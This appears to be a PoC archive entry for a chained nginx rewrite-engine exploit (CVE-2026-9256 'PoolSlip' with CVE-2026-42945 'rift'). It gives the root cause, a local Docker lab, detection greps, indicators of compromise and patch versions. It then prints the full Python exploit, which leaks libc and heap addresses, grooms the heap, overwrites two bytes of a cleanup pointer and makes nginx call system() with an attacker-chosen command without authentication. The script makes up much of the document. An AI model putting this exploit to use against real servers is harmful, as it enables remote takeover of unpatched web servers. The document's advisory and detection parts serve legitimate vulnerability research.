PoC Archive PoC Archive
Critical CVE-2026-9256 ("PoolSlip"), chained with CVE-2026-42945 ("rift") patched

nginx PoolSlip × Rift Chained ASLR-Independent Remote Code Execution (CVE-2026-9256 / CVE-2026-42945)

by y198nt (chaining, ASLR-independent technique, Debian glibc-2.41 port); rift component PoC by DepthFirstDisclosures · 2026-07-05

Severity
Critical
CVE
CVE-2026-9256 ("PoolSlip"), chained with CVE-2026-42945 ("rift")
Category
web
Affected product
nginx (rewrite engine)
Affected versions
CVE-2026-42945 (rift): 0.6.27 – 1.30.0; CVE-2026-9256 (PoolSlip): 0.1.17 – 1.30.1 and 1.31.0 (both fixed only as of 1.30.2 / 1.31.1)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researchery198nt (chaining, ASLR-independent technique, Debian glibc-2.41 port); rift component PoC by DepthFirstDisclosures
CVE / AdvisoryCVE-2026-9256 (“PoolSlip”), chained with CVE-2026-42945 (“rift”)
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagsnginx, heap-overflow, heap-over-read, aslr-bypass, rce, rewrite-engine, request-smuggling-adjacent, chained-exploit
RelatedCVE-2026-42945

Affected Target

FieldValue
Software / Systemnginx (rewrite engine)
Versions AffectedCVE-2026-42945 (rift): 0.6.27 – 1.30.0; CVE-2026-9256 (PoolSlip): 0.1.17 – 1.30.1 and 1.31.0 (both fixed only as of 1.30.2 / 1.31.1)
Language / PlatformC (nginx core), tested on stock nginx:1.30.0 Docker image, Debian 13 / glibc 2.41
Authentication RequiredNo
Network Access RequiredYes

Summary

This PoC chains two nginx rewrite-engine bugs that share the same root cause — a two-pass mismatch in how is_args/$args length is computed — into a single ASLR-independent remote system() call on a stock, unmodified nginx:1.30.0 Docker image, with no hardcoded addresses and no nginx restart required (~90% reliability per fresh worker). CVE-2026-9256 (“PoolSlip”) is a heap over-read triggered via a crafted rewrite directive that lets $args be reflected past its buffer, leaking live libc and heap addresses. CVE-2026-42945 (“rift”) is a heap overflow limited to URL-safe bytes, used here to perform a 2-byte partial overwrite of an already-valid limit_conn cleanup pointer — since only the ASLR-random low bytes are overwritten, the technique works regardless of ASLR. The corrupted pointer is redirected to a sprayed cleanup handler that calls system(cmd), achieving remote code execution when nginx tears down the connection.


Vulnerability Details

Root Cause

Both CVEs stem from the same is_args two-pass length-computation mismatch in nginx’s rewrite engine, exploited against two different sinks: an over-read (PoolSlip, CVE-2026-9256) for an information leak, and a heap overflow (rift, CVE-2026-42945) for a controlled, URL-safe-byte-only write.

Attack Vector

  1. Leak (PoolSlip): A rewrite ^/search/((.*))$ /lookup?$1$2 directive causes the copy pass to set r->args.len past the intended buffer; a degraded /search page reflects $args, leaking adjacent heap contents. After a short warm-up, a stable libpcre-cluster pointer (fixed offset below libc) and a heap pointer yield libc_base and heap_base with no hardcoded addresses.
  2. Write (rift): The rift heap overflow can only emit URL-safe bytes, making a full 48-bit address write unreliable under ASLR (~0.9% success). Instead, only the low 2 bytes of an already-valid limit_conn cleanup pointer are overwritten — the ASLR-randomized high bytes are left untouched, making the technique ASLR-independent.
  3. Fire: The corrupted pointer is redirected into a heap-sprayed ngx_pool_cleanup_t{handler=&system, data=cmd, next=0} structure. When the connection pool is torn down, ngx_destroy_pool() walks the cleanup list and invokes system(cmd).

Impact

Unauthenticated remote code execution against a stock, unpatched nginx instance via crafted HTTP requests alone, with no memory-layout knowledge required due to the ASLR-independent overwrite technique.


Environment / Lab Setup

Target:   Local Docker lab — stock nginx:1.30.0 image serving the bundled nginx.conf (API-gateway-style
          config with limit_conn, a v1->v2 migration rewrite, an upload proxy, and a degraded search page),
          plus a perl-based slow upstream, exposed on host port 19322
Attacker: Docker, Python 3, curl, Linux x86-64

Proof of Concept

PoC Script

See exp_official.py, nginx.conf, and run.sh in this folder.

1
2
3
4
5
6
7
8
git clone https://github.com/y198nt/Nginx-chain-Rift-Poolslip
cd Nginx-chain-Rift-Poolslip

bash run.sh                                          # stock nginx:1.30.0 on http://127.0.0.1:19322
python3 exp_official.py --cmd 'id > /tmp/rce_proof'  # leak -> overwrite -> system()
docker exec nginx-rift-official cat /tmp/rce_proof   # -> uid=101(nginx) ...

docker rm -f nginx-rift-official                     # tear the lab down

exp_official.py is one-shot per run (leaks once, fires once, ~90% success per fresh worker); if the proof file is empty, the heap grooming landed a slot off and the script should simply be re-run against a fresh worker.


Detection & Indicators of Compromise

grep -E '\$1\$2|\$args' /etc/nginx/*.conf   # audit for the vulnerable rewrite pattern

Signs of compromise:

  • rewrite directives whose replacement target contains a literal ? and references a PCRE capture group (e.g. $1/$2), or nested-capture patterns like ^/x/((.*))$ -> /y?$1$2.
  • A reflected $args (or any request-derived variable echoed back verbatim) in application responses.
  • WAF/log signals: floods of %2B/+ characters in the URI path (e.g. GET /search/+++...), HTTP 503 responses from a degraded page echoing a long $args, and nginx worker SIGSEGV/respawn storms.

Remediation

ActionDetail
Primary fixUpgrade to nginx 1.30.2 (stable) or 1.31.1 (mainline) — note that 1.30.1 fixes rift but remains vulnerable to PoolSlip, so only 1.30.2+ closes both. NGINX Plus: R36 P5 / R32 P7 / R37.0.1.1
Interim mitigationAudit configs for rewrite/set directives combining a ? replacement with PCRE captures and rework them; avoid reflecting request-derived variables (like $args) verbatim in responses

References


Notes

Mirrored from https://github.com/y198nt/Nginx-chain-Rift-Poolslip on 2026-07-05. Flagged during vetting as “unverified quality” due to sophisticated hardcoded-looking glibc/heap offsets and distinctive branding (“Rift”/“PoolSlip”); assessed as UNCLEAR-leaning-REAL, backed by a public hackmd writeup and functioning against a fully reproducible, self-contained local Docker lab.

exp_official.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
import argparse, socket, struct, sys, time, os

HOST, PORT = "127.0.0.1", 19322
BODY_LEN = 4000
N_SPRAY  = 8

# leak (Debian glibc 2.41; mmap-sled fails, use the off-1729 libc-cluster ptr after churn) 
LIBC_OFF_SYSTEM = 0x53110
OFF_LIBC_LEAK   = 1729
OFF_LIBC_DELTA  = 0xb0ad08
OFF_HEAP_REF    = 1489
HEAP_REF_DELTA  = 0x28610
WARMUP          = 40

# rift geometry (gdb-measured on Debian release heap) 
N_PAD      = 9
K_ESC      = 1005
TARGET_OFF = N_PAD + 3*K_ESC          # = 0xbd0 = v->cleanup_field - S (fixpoint: S rises with URI len)
N_EMPTY    = 16                       # 16 empties evict the wedged conn pool so v lands close to S
CLEANUP_VAL_OFF = 0x1001f8            # v->pool->cleanup value = heap_base + this -> block heap+0x100000
CMD_HOLDER_OFF  = 0x28680             # spray #0 (cmd-holder) body lands here
REC_RUNS = [(0xe4ef0,167),(0xe7f20,167),(0xeb760,167),(0xeefa0,167),(0xf27e0,167),(0xf6020,167),
            (0xf9860,167),(0x100320,167),(0x103b60,167),(0x1073a0,167),(0x10abe0,167),(0x10e630,167),
            (0x112080,167),(0x115ad0,167),(0x119520,167),(0x11cf70,167),(0x1209c0,167),(0x124410,167),
            (0x127e60,167),(0x12b8b0,167),(0x12f300,167),(0x132d50,167),(0x1367a0,167),(0x13a1f0,167)]

SAFE = set()
_t = [0xffffffff,0xd800086d,0x50000000,0xb8000001,0xffffffff,0xffffffff,0xffffffff,0xffffffff]
for _b in range(256):
    if not (_t[_b>>5] & (1<<(_b&0x1f))): SAFE.add(_b)

def send_raw(req, t=6):
    s=socket.socket();s.settimeout(t);s.connect((HOST,PORT));s.sendall(req);ch=[]
    try:
        while True:
            d=s.recv(8192)
            if not d:break
            ch.append(d)
    except socket.timeout: pass
    s.close();return b"".join(ch)

def poolslip_leak():
    for _ in range(WARMUP):
        send_raw(b"GET /search/"+b"+"*300+b" HTTP/1.1\r\nHost:x\r\nConnection:close\r\n\r\n")
    resp=send_raw(b"GET /search/"+b"+"*350+b" HTTP/1.1\r\nHost:x\r\nConnection:close\r\n\r\n")
    h=resp.find(b"\r\n\r\n")
    if h<0:return b""
    body=resp[h+4:].rstrip(b"\n"); pre=b"Search temporarily unavailable. Query: "
    return body[len(pre):] if body.startswith(pre) else b""

def derive(args):
    if len(args)<OFF_LIBC_LEAK+8: return None,None
    lr=int.from_bytes(args[OFF_LIBC_LEAK:OFF_LIBC_LEAK+8],"little")
    hr=int.from_bytes(args[OFF_HEAP_REF:OFF_HEAP_REF+8],"little")
    if lr<0x100000000 or hr<0x100000000: return None,None
    return (lr+OFF_LIBC_DELTA)&~0xfff, hr-HEAP_REF_DELTA

def safe2(v): return (v&0xff) in SAFE and ((v>>8)&0xff) in SAFE

def pick_yyyy(heap_base):
    block=(heap_base+CLEANUP_VAL_OFF)&~0xffff; cl=heap_base+CLEANUP_VAL_OFF; cands=[]
    for run,cnt in REC_RUNS:
        for k in range(cnt):
            a=heap_base+run+24*k
            if block<=a<block+0x10000 and safe2(a&0xffff): cands.append(a)
    if not cands: return None
    cands.sort(key=lambda a:abs(a-cl)); return cands[0]&0xffff

def make_tiled(system_addr,cmd_ptr):
    return (struct.pack('<QQQ',system_addr,cmd_ptr,0)*(BODY_LEN//24+1))[:BODY_LEN]
def make_cmd(cmd):
    p=cmd.encode()+b'\x00'; return p+b'\x41'*(BODY_LEN-len(p))

def up(s,body):
    s.sendall(b"POST /api/upload HTTP/1.1\r\nHost: l\r\nContent-Length: "+str(BODY_LEN+1).encode()+
              b"\r\nConnection: keep-alive\r\n\r\n"); time.sleep(0.002); s.sendall(body)

SM = float(os.environ.get("SM", "1.0"))   # sleep multiplier (raise for more deterministic grooming)
def attempt(target_bytes, cmd_body, tiled_body):
    sprays=[]
    for i in range(N_SPRAY):
        try:
            s=socket.create_connection((HOST,PORT),timeout=5); up(s, cmd_body if i==0 else tiled_body); sprays.append(s)
        except Exception: break
        time.sleep(0.01*SM)
    time.sleep(0.5*SM)
    empties=[]
    for _ in range(N_EMPTY):
        try: empties.append(socket.create_connection((HOST,PORT),timeout=5))
        except Exception: pass
        time.sleep(0.004*SM)
    time.sleep(0.2*SM)
    try: a=socket.create_connection((HOST,PORT),timeout=5)
    except Exception:
        for s in sprays+empties:
            try:s.close()
            except:pass
        return False
    payload="A"*N_PAD+"+"*K_ESC+target_bytes.decode("latin-1")
    a.sendall((f"GET /api/v1/{payload} HTTP/1.1\r\nHost:l\r\n").encode("latin-1"))
    time.sleep(0.4*SM)
    for e in empties:
        try:e.close()
        except:pass
    time.sleep(0.3*SM) # let the empties' conn pools actually free
    try: v=socket.create_connection((HOST,PORT),timeout=5)
    except Exception:
        try:a.close()
        except:pass
        return False
    up(v,tiled_body); time.sleep(0.25*SM)
    postv=[]
    for _ in range(24):
        try:
            s=socket.create_connection((HOST,PORT),timeout=5); up(s,tiled_body); postv.append(s)
        except Exception: break
        time.sleep(0.004*SM)
    sprays.extend(postv); time.sleep(0.3*SM)
    a.sendall(b"X-Delay:60\r\nConnection:close\r\n\r\n"); time.sleep(0.4*SM)
    v.close(); time.sleep(0.2*SM)
    for s in sprays+[a]:
        try:s.close()
        except:pass
    return True

def main():
    ap=argparse.ArgumentParser()
    ap.add_argument("--cmd", default="id")
    ap.add_argument("--tries", type=int, default=12)
    a=ap.parse_args()
    args=poolslip_leak(); libc,heap=derive(args)
    if not libc or not heap: print("[!] leak failed"); return 1
    system=libc+LIBC_OFF_SYSTEM; cmd_ptr=heap+CMD_HOLDER_OFF; yy=pick_yyyy(heap)
    if yy is None: print("[!] no URL-safe tiled record in the cleanup block for this base"); return 2
    block=(heap+CLEANUP_VAL_OFF)&~0xffff
    print("[*] libc=0x%x system=0x%x heap_base=0x%x"%(libc,system,heap))
    print("[*] cleanup block=0x%x  redirect low2=0x%04x -> 0x%x  cmd@0x%x"%(block,yy,block|yy,cmd_ptr))
    tgt=bytes([yy&0xff,(yy>>8)&0xff]); cb=make_cmd(a.cmd); tb=make_tiled(system,cmd_ptr)
    for t in range(a.tries):
        if attempt(tgt,cb,tb):
            return 0
        time.sleep(0.3)
    print("[-] no fire"); return 0

if __name__=="__main__": sys.exit(main())